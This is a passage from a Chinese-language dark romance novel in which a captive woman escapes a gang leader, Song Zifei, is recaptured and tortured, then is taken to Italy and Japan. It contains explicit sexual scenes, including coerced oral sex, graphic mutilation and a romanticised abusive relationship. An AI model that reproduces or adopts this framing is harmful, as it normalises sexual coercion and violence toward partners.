我相信,就连宋子非自己都无法弄明白自己为何会出现这种表情,更甚者,
可以确切地说是连他自己都不知道自己会出现这种表情。我,就那样静静地望着
他,一瞬不瞬地……
“我不会放开你,”就在久到连我自己都不清楚其间的间隔时间有多长的时
候,宋子非开口了,“就算是我死了,也绝不会松开手的。”伴随着的是,肆虐
的手开始暧昧地往我的背部游走,在我的肌肤上来回地摩挲着,那大掌沿着我的
身体的曲线,一寸一寸地抚过,最后来到我的大腿根部,过度地往我的腿根深处
探去,手指在我的花瓣中肆意地轻抚摸索。
“不要……”早已红肿不堪,充血的私处对于异物的入侵极其地敏感,“求
……你了……”
“不要?”嘲弄与讥讽的语气,手指却仍不消停地运作着。
“把……手拿开……”我近似哀求地求饶着,我的体力已经无法再承受另一
番的折磨。
“要我放手,可以。可是……”他邪佞地微笑着,向下弩了弩嘴,“它似乎
不愿意我放手啊。你说?该怎么解决呢?。”随着他的眼光,映入眼帘的是他那
昂首挺立的男性器官,我终于明白了他的意思。
恼怒地瞪着他,他已经把我侮辱的够多了,为什么还是不肯放过我,还要这
样对我。
“怎么?”宋子非再次钳制住我的下巴,下颚被迫张开,“你不愿意?”轻
柔而又磁性的魔音是他发怒的前兆。
果不其然,那高昂丑陋的男性象征已经来到我的唇前,没入我的唇腔。宋子
非此刻缓缓移动着腰部,缓缓地进入,再缓缓地抽出,渐渐地,速度开始一点一
点地加快,直到最后,开始迅速猛烈地进出着。
“啊…………”伴随着一声低沉、沙哑的哄叫声,一股咸腥的液体射入我的
口腔内。
望着它抽离我的唇腔,我终于无法平息来自胃里翻搅的胃酸以及向上翻腾的
呕吐感,不由自主捂住了自己的嘴。我迅速地爬起,痛苦的不适感让我艰难地跨
出浴缸,挣扎着来到洗漱台前。
“呕……呕……”我难奈地一直不停地呕吐着,似要把胃酸都一并吐出来般。
直到最后,变成了不间断地,断断续续地呕吐着。
“你怀孕了。”我一直以为是那咸腥的恶心感让我一直狂呕不已,可宋子非
的一句话却无情地点醒了我。我木讷地转头,望向他,眼里充满着惊讶。
“要我亲自动手安排吗?”我不可思议地望着他。他,真的好残忍。
“那孩子不是我的。”似乎是看穿了我心里的想法,他毫不留情地说道,
“即使孩子是我的,我也同样不会留下他。”
我感觉到自己的心在那一瞬间彻底地凉了。亦忽然觉得自己刚才的行为是如
此地可笑至极,我居然会为了他隐藏在眼底深处的那一切而感到悲怜。
我真TMD 不知道廉耻啊。
“要我亲自动手安排吗?”……
“那孩子不是我的。”……
“即使孩子是我的,我也同样不会留下他。”……
那日宋子非的话一直不间断地持续出现在我的脑海中,反反复复,让人挥之
不去。
宋子非,就算你不说,你我心里亦十分地清楚,象你这种心狠手辣的人,又
怎么会在我的体内撒播下孕育孩子的种子呢。
但是,我绝不能让他得逞。我要保住孩子,保住我和宋子文的孩子。
“熏,”执起身边的手提电话,拨下熟悉的电话号码,“是我……”
10岁那年,我曾救下本已早不在这个世上的熏。神龙每年都会密训一批孤儿,
为数不多,手法却异常残忍。很多年幼的孩子经受不起折磨或是异常痛苦的压力
而导致精神崩裂或是试图逃走,然而结果都是令人撼颜的。他们会将精神崩裂的
孩子进行活埋,将逃跑的孩子抓回来后活活地打死。
当我第一眼看到熏的时候,瘦骨嶙峋的他正趴卧在刑场上,全身被打得血肉
模糊,我知道,这又是一个曾试图逃跑的孩子。然,当我接触到他的眼神时,我
的心里产生了一种异样的情绪,从他的眼神里我看到的是7 岁那年在孤儿院的自
己,那种到临死都不愿服输的表情,在鬼门关前痛苦挣扎的神情以及对世间产生
的深深恨意。
也就是那一眼,注定了我不会任由自己冷眼旁观下去,我知道他不想就这么
死去,于是我便向老爷子要了他的命,也因此让他明白了从我救下他的那一刻开
始他的命便开始属于了我。
* * * 今天是我住院的日子,也终是我和宋子非了结的时刻到了。我知道,
如果我没有经过深思熟虑过是根本没有办法逃离他的掌控的。
我的主治医生,据说是妇产科的权威。他,终究还是这么疑心我啊。那天的
话,让我以为他绝不会在这件事情上为我做任何的安排,亦会放任我自行解决。
可谁知第二天他便又和我说道,已经帮我联系好了医院和预定了时间。
这无疑让我的计划不得不提前行动。
晚上10点,是停止探病以及病人休息的时间,只有几个值班医生和护士在来
回巡逻。午夜12点,便只剩下几个值班护士在监守岗位了。凌晨3 点,正是夜深
人静的时候,更何况是我所住的VIP 病房,整层楼就只有我住的这么一个房间。
我悄悄地睁开双眼,环顾四周,轻轻地拿下套在指间的戒指,这是熏特地为
我改良设计过的金属干扰系统。我不相信,宋子非会没有经过任何的安排便让我
住了进来。它所能维持的时间并不长,只有短短的三十秒,但这足以让我有充分
的时间来解决守在门外的两个彪形大汉,而不让其间的监视系统察觉到。
利用神龙特有的“檀魂”解决完对手后,我迅速转移到安全楼道内,以最快
的速度逃跑。因为很快的,监视系统就会察觉到不对劲而通知宋子非。
我并没有马上寻求最佳的出路而偷跑出医院,而是潜藏到了医院清洁人员的
工作室内。因为我知道,再过不久,他们便会惊动了宋子非。而此时,停留在医
院西侧距离50米外的一辆吉普车内,“我”也将会算好偷跑出医院所需要的时间
而启动车子往西海岸方向开去。
我不知道此时的医院是什么情形,我只知道只要再过2 个小时,等熬到了5
点,清洁人员上班的时候,便是我真正行动的时刻到了。然,宋子非不是笨蛋。
也许宋子非会相信我的伎俩,而派人追踪那辆将会驶向西海岸的车子,也许
他仍会继续派人搜索整个医院,所以我成功与否的机率只有一半一半。
我用力咬着自己的嘴唇,我知道自己很紧张,但现在的我,唯一能做的就是
静静地等待。
渐渐地,随着时间一点一点地流走,窗外开始呈现出昏暗的天色,不似于夜
晚的漆黑。陆续地我便听到了一些动静,稀稀唆唆的,似乎是人的讲话声以及三
三两两的脚步声,我知道我的时间已经到了。
现在的我,开始赌的就是出奇制胜,每一分每一秒的时间对于我来说都是非
常地重要。我一定要在宋子非正确预测到我的行动之前先行动起来,此时的他们
正完全照着相反的方向来追寻着我,而我也正好利用这段时间可以趁机溜走。
此时的我,早已经换下了身上的那身病号服而换上了宽大的清洁衣,整头及
腰的大波浪长卷发被我随意盘起并罩在清洁帽下,以及带上了足以遮住大半张脸
的清洁口罩,也因为避免了清洁人员的怀疑。
推着笨重的清洁车,随着清洁人员开始打扫。清晨的医院还是安静如昔,把
握时机,我迅速转移位置,摸索到工作人员的专用通道,我以最快的速度逃离了
医院。
随即,我便在医院外围不显眼的墙角下找到了一只黑色的旅行袋,里面有熏
为我准备的大量现金,一套平凡粗俗的衣服,以及一本伪造的护照。
熏,对我,一直以来,义无返顾。我也相信,他一定有办法逃脱宋子非的追
捕而不被发觉。
换上熏为我准备的那套衣服,我寻觅到了一间美容院。从昨晚开始我便觉得
我这一头的及腰头发带给了我无限的阻碍和烦恼。虽然再心痛,但迫于形式,无
奈我也只能牺牲掉这长发以换得我最大程度的安全系数。
我不怕宋子非会在这段时间找上我,因为我知道越危险的地方也就是最安全
的地方,所以在这黄金时间,人员嘈杂的地段无疑是我现在最安全的保障。
经过一个多小时的折腾,我那头曾经令人妖艳的长卷发已经变成了黑色及肩
碎发。再到眼镜店配了一副老气笨重的黑框平光眼镜。
望着镜中的自己,普通的发型,平凡的衣着,粗俗的眼镜,活脱脱一个字:
俗。谁又会将我和那个曾经妖娆惊艳的戟家千金联想到一起呢。
我在走街串巷中找了一间不怎么合法环境设施不够优越卫生条件都十分脏乱
的小旅馆住下。这种地方每当到了夜晚,暗巷中的丑陋行径表露无疑。嘈杂的环
境,复杂的人口,实在不是一个已经怀了孕的独身女子该久留的地方,但是我却
异常地需要它。
因为我需要通过相关的违法行径,找到一条出路。我开始四处暗示打听着偷
渡的情况,之所以没有让熏帮我是怕会被人发现,到时候连累了熏也载了自己,
毕竟这种丑恶的行为一个不小心就会很容易被人察觉。我亦不敢用那张假护照,
虽然知道它与真的没有什么两样,但我仍不敢光明正大地乘坐交通工具离开。如
果要说是上次那件事对我仍有着一定的心悸那也不为过。
终于在这些杂乱肮脏的小旅馆住了两天后,通过层层的金钱关系我和一个偷
渡集团搭上了线点,我将按照他们的联系暗号而去指定的地点和中间人
会合,并和他们作场交易以达成共识。
在这里呆的时间越久,其充斥着的作呕气息就越发让人感到不安,所以我极
力地寻求出路。我在简陋到极点的肮脏卫生间里用冷水扑打脸面后,平复下自己
的情绪,头脑也清醒了不少,提起熏为我准备的黑色旅行袋,便向指定的约定地
点出发。
朦胧的漆黑夜色里,我借着昏暗的月光找到了城郊码头的一条窄巷里,把相
当的金钱数目交给他们后,便被带到了一艘规模不大且简陋不堪的渔船上。
心想着,只要一上船,等船驶离了本港,我便是自由的了。等到了安全的地
方,就可以了。带着孩子,想着以后美好的日子,我便满足了。
可有些事,往往是事与愿违。昏黄的灯光下,眼前巨大的阴影笼罩着我。我
惊恐地望着眼前的人,整个人开始不断地往后退,可身后早已被重重地包围,我
又能躲到何处?
“又想逃开我?”整个人已被紧紧地钳制住,腰间亦感到一股坚实的力量牢
牢地抓住。
我以为我已经闻到了自由的气息,我以为自己已经可以向往美好的生活,原
来一切都只是我的幻想而已。望着眼前的宋子非,从他的眼里我读到的是嘲弄和
讥笑。他在嘲讽我的不自量力,以为自己已经成功了,可想不到却只是跳进了他
设下的另一个局罢了。
在他眼里,我什么也不是,只除了一味地扮演一个傻瓜的角色,一个连被愚
弄了都不知道,却仍被蒙在骨里而感到沾沾自喜的傻瓜。
我不甘心,不甘心啊。泪水开始不甘心地涌出眼眶,拳脚相加,奋力挣扎着
想要挣脱开他的桎皓。宋子非已经开始显得不耐烦,粗暴地将我拽下了渔船。
Chapter.9 我又置身在那间令人悚然的密室里,我的四肢都已经被扣上了铁
环,现在正被牢牢地禁锢在木床的四侧,昏暗的灯光,影射在我的身上。
“我说过的,”宋子非面无表情地看着我,“我不希望你第二次来这里,上
次是你的第一次,也是最后一次。”
“可是你却从不听我的话,”渐怒的表情仍是悠悠地看着我,“你居然想逃
开我,带着这个孽种。”视线飘落到我的肚子上。
我没有做任何毫无意义的挣扎和反抗。我知道,既然他能找到我,就表示着
我已经成为了他的傀儡。
“你真狠心啊,”说着突然一把抓住我的头发,逼我仰视他,“那一头妖艳
而华美的头发居然就这么轻易地被你给毁了?”
“要知道,我可是很喜欢它们的啊。”
宋子文也喜欢着我的头发,他最喜欢的就是从身后圈抱住我,把头埋藏于我
的颈窝处,嗅着我的发香,就那样,我们两个人静静地站着,站着……
然,我只是冷笑道,却仍旧没有开口。似乎我的麻木终于激怒了宋子非。
“想不到,你还真无情啊?”宋子非怒言道,“神龙的‘檀魂’可不是随便
什么人都可以拿得到的啊。”。
瞬间,我愤怒地看向他,语气却颤抖着,“和他一点关系也没有,是我逼他
这么做的。
“哦……”故意把语气拖长,仿佛是在思量着什么般,疑惑地看着我,但即
刻便被他那嗜血的表情给取代了。
“你到底对他做了什么?”我害怕地问着他,我不想再拖累任何人了。
“想知道吗?”宋子非冷冷地看着我,捏紧我的下巴,“想看吗?”
随即,那道沉闷的墙门被打开了,宋子非钳制着我的头逼我往前看。一个浑
身血粼粼的男子被两个穿黑衣的高大魁梧的男子架到了我的面前。
我的瞳孔不受控制地轻闪而过,身体亦开始不受控制地颤抖。为什么熏的手
和脚,还有眼睛……
宋子非看着我,阴沉地开口说道:“放心,我只是挑断了他的手筋,脚筋和
挖出了一双眼睛而已。”
“宋子非,你TMD 是个疯子,十足的疯子。”我控制不住地向他怒哄道。我
知道,看到因我而变成这样的熏的时候,我就已经开始丧失了理智。
“好,很好。”显然宋子非已经被我的激怒了,“我是个疯子,从三岁那年
开始我便已经疯了。”紧紧地钳住我的双肩,似要把他的双手嵌进我的身体里般。
我吃痛地看着他,额上已经开始密密麻麻地出现了薄薄的汗珠;但亦充满了
惊讶,我从没有看到过如此失控的宋子非。
察觉到自己的失态,遂说道:“带下去。”
“是……”
“你还想对他做什么?”我焦急万分地惊嚷道。
宋子非却丝毫不理会我的挣扎,“记住,你永远都是我宋子非的人,只属于
我一个人。”
说罢,便拿起身旁置物架上的一把极小型的刀,闪亮坚韧的银光上浮现出丝
丝寒气。
“这是‘冰刃’,它有着极其锋利的刀刃,以及散发着逼人的冰寒之气。日
本的密杀组织就是常用它来进行密杀的。因为它周围所散发的寒气可以迅速凝结
扩散开来的血液,所以在完成任务时也不易被人察觉。”
我躺卧在木床上,看着他手里闪着的那把所谓的“冰刃”,眼里盛满了强烈
的恐惧和害怕,而声音却象被咔住般,丝毫发不出一点声音。
“想知道我拿它来做什么吗?”宋子非邪佞地笑着,“我要在你的胸口上,
靠近心脏的位置刻上一个字。”
他温柔地抚过我的脸,我的肩,来到我的胸前,大力撕破我身上的衣物。裸
露的身体并没有让我有时间感到羞怯,却早已因为他的话而让我感到阵阵发寒。
“就在这里,”有着粗糙手茧的修长手指轻轻地按在了我的胸前,“非……。”
“放心,我会很小心地在这里轻轻的划上几笔,还不足以要了你的命。”我
的眼里一直徘徊在他那阴沉和残虐的笑容中。
呵……哈哈……呵哈……。宋子非,你以为在我的心房外刻上你的名字,我
的心就会属于你了吗?你我都很清楚,在我的心里面,早已经注满了一个人的身
影,他的笑容,他的言语,他的温柔……直到它停止跳动的那一刻,你也没有办
法取代他,它终究不会属于你。
随着冰刃一刀刀轻盈地划过,我的心便承受着一阵阵的锥心之痛。耳边却仍
不依不饶地徘徊着宋子非的声音。
“我要这痛让你时时刻刻都记住,这就是你背叛我的后果。”
“你做梦……”我永远都……不会……属于你……
* * *
我的意识开始变得越来越模糊,很希望就这样一直模糊下去,可是却好象有
着什么东西一直在拉扯着她,阻止着我一直往下坠。对了,孩子,我还不能死…
…我还有孩子,失去了那么多的东西,我仅剩的唯一的东西……所以,我不
能死……
朦胧的双眼缓慢睁开的那一瞬间,似乎周围的一切都充斥在白茫茫的一片光
亮之中。映入眼帘的是自然白的天花板,以及充斥着一室的药水的味道。
周围的一切似乎是那么地熟悉,这是哪儿?浑浑噩噩的脑袋渐渐地试着找回
一些头绪,而胸口处却迫不及待地叫嚣起来,疼痛难耐。
“戟小姐,你醒了。”突如其来的声音促使我不得不抬头看向来人,却还未
看到对方就已消失了。
片刻后,一阵急促的脚步声打扰了这豪华空旷的房间。“戟小姐,有什么地
方不舒服吗?”很公式化的语气,却很熟悉。
啊……对了,这不是我上次住院却逃跑了的房间吗?而他不就是所谓的我的
主治医生吗?看着眼前的一群白衣白衫,哈……哈哈……一切都已经明了了。宋
子非,你终究是将我最后仅剩的唯一的东西都已夺走了。
“叫宋子非马上来见我。”我面无表情,冷冷地说道。
“戟小姐,你刚醒,”似乎一点也不畏惧我的话,仍自顾自地说道,“需要
进行各方面的一些详细的检查。”
“我说了马上把宋子非叫来见我,听到了没有。”我狠狠地拔掉手臂上的输
液针管,象个泼妇般地把身旁的东西一扫,都往地上一掷。
没错,我现在急需找一些东西来发泄,不然,我怕自己会疯掉。而那个可恶
的医生却冷冷地对旁边的人指示道,“病人情绪不稳定,需注射稳定剂。”
“放开我……放开我……”我叫嚣着,并开始拳打脚踢。我已经开始完全丧
失了理智,疯狂的行为使得我胸口的伤口突然崩裂开来,殷红的鲜血渐渐地浮现
在了我的病号服,并开始慢慢地扩散开来。
“住手……”一阵低沉地隐忍着一丝怒气的声音从外响起。
“宋先生。”看向来人,大家急忙恭恭敬敬地俯首低腰道。
“都下去。”对身旁的人喝声道,遂来到我的身边。
我早已因胸口那伤口的崩裂以及刚刚的疯狂行为而虚弱无比,对于他的碰触
毫无力气反抗,任由他轻轻地拥抱住我,温柔地抚摩着我的伤口。
“痛吗?”满脸的怜惜之情,“‘冰刃’虽在使用时会使伤口的血液凝固,
却也只是一时的。若日后不多加小心治疗的话,伤口便很容易裂开。”
“可这却不及心痛的万分之一。”我面无表情地说道,似乎是在论诉着别人
的事一般。
“是吗?”我看不到宋子非的表情,他的声音依旧温柔而有磁性,“原来你
心痛了。”
“嘶……”我倒抽着冷气,他的手依旧抚摸着我的伤口,却在不经意间早已
加重了力道。血液再次蔓延开来,犹如盛开的红玫瑰般娇艳欲滴。
“你……根本就没有心的。”我冷冷地看向他,额上却早已布满了豆大般的
汗水。
“是啊,”粘满鲜血的手轻轻地抚上我的脸颊,“很早以前,我便丢失了它。”
动作停留在我的唇上,似在喃喃般,“可是我好像又找回了它。”
“可我的却已经不见了。”空洞的眼神,我麻木地说道。一切都已逝去,我
还有什么可以留恋的呢?我的心已经空了,那里已经进不去了,亦装不下任何东
西了。
“不会的。”宋子非却突然神色慌乱地扳转过我,死死地盯着我说道,“我
绝不允许它不见了,就算不见了,我也绝对会把它早回来的。”
此时此刻,他的言语,他的神情,在我的眼里却是显得那么地突兀,那么地
可笑,也是那么地恶心。我不知道他是以什么心情来说这些话的,亦不知道他是
本着什么目的来这么做的。
我只是淡淡地望着他,眼里充满着不屑。淡淡地,淡淡地,仿佛似要看穿他
的灵魂般,无力而缥缈。
他只是深深地看着我,眼里充满着无措。深深地,深深地,似乎要看穿我的
内心深处,深情而专注。
晨曦,太阳在地平线上缓缓升了起来,日式的庭院被阳光洒遍了金辉。斜倚
着坐在榻榻米上,望向庭院里的潺潺流水,清爽的微风迎面拂来。
这段日子以来,宋子非对我,可谓倾心倾力。胸前的伤口也早已结了痂,脱
了靥。然,每当赤裸着全身时,取而代之的则是狰狞以及丑陋。
“小心着凉了。”不知何时宋子非已站在了我的身后,我没有回头,继续凝
视着前方。
轻轻地从身后温柔地圈抱住我,看来他真的连一点清静和自由也不愿奢侈于
我。
“头发似乎已经长长了不少。”轻柔地撩起我胸前的一丝秀发,呢喃道。
仍然没有作声,彼时的我,就如他手中的傀儡般,俨然已毫无任何情感和思
想可言。
“诺诺……”身体被猛得扳转向他,似乎我又激怒他了,他的眼底藏匿着的
是隐忍的怒气,“不要再试图考验我的耐心了。”
然,于他,我亦无话可说,微闭着双眼,唯有继续保持沉默。
“下个星期,我们出国去散散心,如何?”低哑而又富有磁性的声音犹如鬼
魅般令人寒颤。
一切你不是都已经安排好了,又岂非要多此一举来问我呢?
“我要见熏……”微抬起疲惫的双眼,望着他的空洞眼神似要穿透过他凝聚
在某一点般,虚无而又缥缈“交换条件?”宋子非挑高了一边的眉,透露着危险
的气息。
转移开视线,我亦毫无力气与精力去争辩什么。
“好,我答应你。”轻捏起我的下巴,在我的唇上印下一吻,随即他的唇便
狂热地覆在我的唇上,执拗邪恶的舌尖,慢慢地撬开我密合的齿缝,入侵我的唇
腔,夹杂着戏谑以及欲望……
* * * 熏被关在“神龙”的地下牢房里,这是所谓的背叛者专用的牢房。我
站在地牢的外面,透过一边的可视玻璃望着里面惨不忍睹的熏。
熏的全身显然都已经被包扎过了,然,白色的纱布却仍外渗着斑斑的血迹,
触目惊心。看着从小唯一的伙伴因为我的自私而受到如此痛苦的折磨时,我的心
犹如绞刑般刺痛。
“熏……”我的声音梗在喉咙深处。我不能哭,我亦根本就没有哭的资格。
“小姐?!”似乎感觉到了我的存在,熏沙哑的声音徘徊在阴暗的牢房里。
步伐迟缓地向前迈开着,隔着那层厚厚的玻璃,心里只想着要离熏更近一些,
哪怕是只有一点点。
然而,此时的熏,正费力地想要努力站起来,却只是徒劳,复又重重地跌倒
在地上,而我却只能愣愣地站在一旁,毫无办法。那一刻,我才真正明白了,道
歉于熏,只唯更加残忍。
我亦远没有想像中的坚强,泪水早已不受控制地倾泻而下。
宋子非只是站在一旁,冷眼旁观着这一切,残忍如他,又岂会因此而受到良
心的谴责呢?
我怔怔地望着熏,一切都已经毫无意义可言了。
“我们去散心,”但是,作为交换条件,“求你放了熏。”
熏,永远都不要原谅,因为我根本就没有资格得到你的原谅……
宋子非在我答应了出国散心的一个小时后,我们便已经坐上开往意大利的私
家飞机上。
有时候,真的觉得自己很可笑。一切都是在宋子非的设计安排下,而我却不
得而知。俨然,我的行动和意志早已经在他的掌握之中。
然,不可否认,在以后的一段日子里,每当回想起此次的欧洲旅行,我和宋
子非之间似乎在很多地方都开始改变了。
* * * 清晨,微朦的薄雾笼罩着整个罗马,这座被喻为全球最大的“露天历
史博物馆”却充满感官刺激的城市。
我们来到举世闻名的罗马斗兽场,实际上却是一片断垣残。沿途踏入这片古
罗马广场的废墟遗址,这个曾经是罗马帝国政治、经济、文化和宗教的活动中心。
君士坦丁凯旋门位于斗兽场西侧,是罗马城现存的三座凯旋门中年代最晚保
留最完整的一座。沿着其后面的帝国大道,到达古罗马遗址。
罗马市区最有名的观光景点许愿池,每天从早到晚都挤满了观光客。据说背
对着水池投上一枚硬币就可以许上三个愿望。石阶旁或坐或站的人们多半是要许
愿的,手中少不了拿着一枚枚的硬币。硬币入水的“咚咚”声不绝于耳,怎么听
都象是一首动听的乐曲,想必是承载着太多美好愿望的缘故。然,对于我来说,
所谓的美好愿望只怕是一种奢望而已。
我不知道宋子非为何带我来到眼前这个外表看上去毫不起眼的小教堂。略带
疑惑地看着他,然而,他回予我的却是一张真挚坦诚的笑颜。
待更往前迈入,映入眼帘的是其里面着名的“真理之嘴”。宋子非拉着我来
到“真理之嘴”的雕塑前,把手伸进了“嘴”里,“据说,如果你说了谎话,那
么你的手伸进‘嘴’里后就再也拿不出来了。”
“我爱你……”对于突如其来的深情告白,我承受不起,也无力承受,只是
怔怔地看着他伸进去的那只手……
接下来的日子里,我们相继来到威尼斯,这座素有“亚得里亚海明珠”之称
的古老而又美丽的城市。乘坐着Gondola 穿梭在这个明媚的城市,那独特的水城
风光充满了迷人的魅力,让人不觉心情舒畅。
佛罗伦萨的米开朗基罗广场,大卫雕像矗立在广场中央。广场位于阿诺河对
岸,待黄昏时,是眺望佛罗伦萨的最佳据点。环绕在城市周围的清澈的亚诺河静
静地流淌着,沿岸那一片片苍翠欲滴的树木,使人感到清新怡然。安静地走在亚
诺河河畔,感到的是轻松和怡然。
华灯初上的夜晚,站在宾馆房间的落地窗前,我看着窗外灯光闪烁如梦幻般
的夜景,不过是讽刺的浮华和虚假的繁荣罢了。
刚洗完澡,水滴沿着发梢顺势滴下,在白色的浴袍上蕴化开来。
“怎么这么不懂得照顾自己呢!”宋子非拿着一块浴巾来到我的身后,温柔
地拭擦着我的湿发,语气中充满是宠溺,午夜的落地窗前辉映着他柔情的目光。
宋子非下巴抵在我的颈脖处,整张脸亦埋在了我渐干的乌黑秀发里,“回国
后,我们便结婚。”
“不要把我逼得太紧了,”语气中透露的满是无言的疲惫,“求你……”
瞬即,宋子非含住我的耳垂,沿路吻上我的肩膀处,伸手从胸前探进我的浴
袍内,浴袍也不堪一击地随之敞开。扳转过我,深深地看了我一眼,便又狠狠地
吻上了我,这个吻里面似乎亦夹杂了太多的伤害以及绝望。
抱起我来到床边,把我轻轻地放在上面,随即欺身俯上我。嘴唇啃咬着我的
锁骨,伸手来到我的私处,隔着底裤揉捏着我的花核,另一只手慢慢游移至我的
胸部,不停地捏弄把玩着,使我忍不住地颤栗着,感到全身酥软。
“恩……啊……”我毫不自知地开始低声呻吟着。
他用口含住了我一边的蓓蕾,开始吸吮并用舌尖沿饶轻划着圈,另一手的手
指也开始撩拨我的底裤,最终把手指探入我的私处,时轻时重地摩挲着,揉捏着
我的花瓣,撞击着我的花核,我感觉到自己的下体已经湿润了,随着蜜液的催促
手指的捏撞也更加地顺畅。
双腿纳入我的两腿间,他的手在我的私处继续肆意地揉捏着,顺势探出一根
手指插入了我的甬道内,强烈的快感顿时让我浑身僵硬紧绷,以前从未有过的异
样的情绪开始冲击着我。“恩……啊……啊……”他的手指仍旧一直在我的甬道
内四周旋转着,深浅不一。全身开始布满着细密的汗水,夹杂着情欲的气息。
紧接着,俯下身,他的唇开始侵入我的私处。“啊……恩……恩……”我情
不自禁地呻吟着,一股电流袭上心头,全身的感官都感觉到一阵强烈的酥麻。他
的舌尖在我最隐秘的地方舔着,刺探着,想要更加的深入我。我的身体似乎已不
再是自己的,开始不受控制地抽搐,禁脔。
私处早已春潮泛滥,全身的感官都在充斥着,一阵热流攥过我的全身,我的
身体似乎已不再是自己的,开始不受控制地抽搐,禁脔。“啊……恩……啊……”
随着高潮的来临,不受控制地呻吟着。
待高潮过后,我眼神涣散地望着宋子非。内心的复杂交集始终远远抵挡不住
情欲的摆布,身体的各个感官都在叫嚣着,以望索取更多。
然,眼前的宋子非亦呼吸急促,而他浑浊的呼吸和密布的汗珠也昭示着他的
欲望。
“诺诺,我爱你……”与此同时,私处也随之感觉到异常地充实,随即是既
快又猛的一阵抽插,深而快。爱液流到我的大腿内侧,随着抽插的动作四处飞溅
着,身下早已一片濡湿。“恩……啊啊……啊……唔……啊……”力气早已被他
抽走,而身体却开始无意识地随着他的推进而摆动呻吟的声音也渐渐开始沙哑。
随着抽搐的越来越激烈,良人的交合处早已流成了一片,发出发出淫靡的啧
啧水声,身下亦早已一片濡湿。他的喘息则越来越粗,汗水滴落到了我的胸脯上。
不间断的痉挛,也使得快感冲上顶峰。包裹着他粗大男性象征的甬道开始不
停的收缩,紧接着,一阵急促的抽插,欲望的种子也随即得到释放……
身上的宋子非粗粗地喘息着,我亦随着再次高潮的来临,也虚脱般地喘息着,
而泪水也不受抑制地滑过脸庞。情欲始终主宰着一切……
Chapter.11欧洲旅行的结束,宋子非并没有直接与我回国,而是带我来到了
日本。我记得,当初那张犹如过滤纸般干净的调查报告中曾经记载着宋子非从小
便生活在日本,直至那时才回国。
“累了吗?”宋子非揽住我的腰际,坐在早已在机场外准备好的黑色Rolls-Royce
内。
“恩。”呢喃着应了声,十几个小时的飞行,使我感到疲惫至极。
宠溺地在我脸颊上亲吻了下,让我枕靠在他的肩膀上。
“为什么要我一起来日本?”对于宋子非此次来日本的目的,我知道,绝没
有表面上的这么简单。
“为什么不一起?”他的回答是如此地理所当然,“以后这里才是你的家。”
我诧异地抬起头望着他,良久,才恢复以往的平静,淡淡地说了句,“是吗?”
原来所谓的欧洲旅行,只不过一切开端的幌子罢了。
我冷漠地别过头,目视是夜晚繁华嚣闹的京都,这里也是日本最具势力的黑
道组织“夜王”的所在地,一切都是如此地明了。
“怎么?”宋子非轻柔地揽过我的肩膀,另一只手则牢牢地执起我的柔荑,
其中却夹杂着道不明的强势意味,“不喜欢吗?”
“谈不上。”你想让我说什么,我又何来资格说什么?
黑色的Rolls-Royce 在深夜的京都大道上飞驰叫嚣着,“对我来说,”下巴
紧扣在我的细肩上,“日本才是我真正的家。从此以后,对你,亦是一样。”
“少爷。”宋子非拥着我步入的是一座豪华夺目的宅抵,迎面而上的人必恭
必敬地鞠躬道,“欢迎您回来。”
“老爷他们就寝了吗?”宋子非冷冷地看了身边的人一眼,淡漠地说道。
“还没有,”那人亦跟在身后答道,眼底透露出的是满目的精光,“知道少
爷今晚回来,老爷便一直在书房等着您。”
我并不没有跟随宋子非一起前往,而是被安排在了一间宁静而清冷的房间内。
我亦不知道他们口中所说的老爷所谓何人,直至见到咲夜凉出面在我的面前,
才不得而知。
“戟小姐。”感觉是如此地熟悉,眼前是每晚深夜使我魂牵梦萦的笑容,温
和而谦逊。怔怔地望着他,让我不禁产生一种错觉,让人转移不开视线。
“在下咲夜凉,”纯正的中文,宛如天籁,“今夜是你我第二次见面,不知
戟小姐是否有印象。”
再次响起的声音即时拉回了我的思绪,我回以礼貌性的一笑。
望眼观去,眼前的咲夜凉有着一张妖异而又美艳的面庞,漆黑的头发,光滑
如丝,白玉般的肌肤近似于一种病态的美,新月形的丹凤眼,妖异绝美,着实让
人感到惊艳不已。深灰色的和服衬托着他高挑却又略显单薄的身躯。
我有些迷茫地望着他,望着那使我感到温馨而平和的笑魇……
* * * 晨曦,阳光明媚铺洒于大地,却让人感到异常刺目。翻转了个身,继
续埋首于枕间。最近,我特别容易感到困乏,估计是由于欧洲之行耗费了过多的
体力与精力而引起的吧。
身旁的床位早已凌空,最近的宋子非异常忙碌,一天都不见得能见上一次面,
但是每晚不管有多晚他都会回来,拥着我入睡。
然,刺眼的阳光终扰得我无法安眠,无奈,只唯起床。
我有点精神恍惚地走出房间,便看到美奈早已等候在房前。美奈是宋子非安
排在我的身边照料我饮食起居的女孩子,长得异常乖巧水灵,一双清澈的大眼睛
一看便知道没有经过世事的孰渎。
“小……小姐,”美奈那有点怯诺诺的表情,煞是可爱,“早餐已经准备好
了。”
“我现在不想吃,你先搁着吧。”
“可是……”焦急和担心的表情绽露无疑,“不吃早餐的话对小姐的身体不
好。”
望着美奈担忧的神情,让我突然感到于心不忍,随即便开口道,“早餐都准
备了什么么?”
“呃……有小姐喜欢的皮蛋瘦肉粥,燕皮馄饨,小笼汤包等等,我这就去给
小姐端来。”笨拙献媚的表情,让人不免觉得一阵轻笑。
“不用了,我自己过去餐厅吃好了。”
“是,小姐。”
看着眼前丰盛的早餐,却始终提不起什么胃口,只是淡淡地吃了几口,便再
也咽不下了。中饭亦是如此,只便喝了几口蔬菜汤便再也难以下肚。
临近下午的时候,宋子非派人打来电话说,晚上要到夜殿用餐,让我做好准
备,等会儿便派人来接我。
夜殿吗?想来,自从上次之后,我便没有再见过咲夜凉。
咲夜氷河是一位年约50多岁的老人,身长容威,看上去却只有40上下的年纪。
除了眉宇之间与咲夜凉极其相似外,其余的倒是与宋子非有着几分相象之处。
咲夜氷河不愧是日本最具势力的黑道组织“夜王”的龙头老大,给人的感觉
威武庄严。席间,坐在我身旁的宋子非似乎与他有着聊不完的要事商谈,反倒是
身坐在我对面的咲夜凉一直没有怎么说话过,而我,亦是默不作声。
我不知道,为何日本人这么喜欢吃生鱼片。看着眼前满满一桌各式各样精美
细致的生鱼片,让我不免微皱起眉头。然,当闻到那一股轻微的鱼腥味时,我的
胃开始了一阵翻搅,那种熟悉的恶心感再次袭来。
瞬即,一种莫须有的感觉袭上心头,让我感到大惊失色。我脸色惨白地转头,
慌忙地看向宋子非,而他正在与咲夜氷河交谈着,并没有顾暇到我的身上,这无
疑让我感到一阵舒心。
然,当我转移回视线时,却发觉咲夜凉正微笑着看着我,仍旧还是那温和而
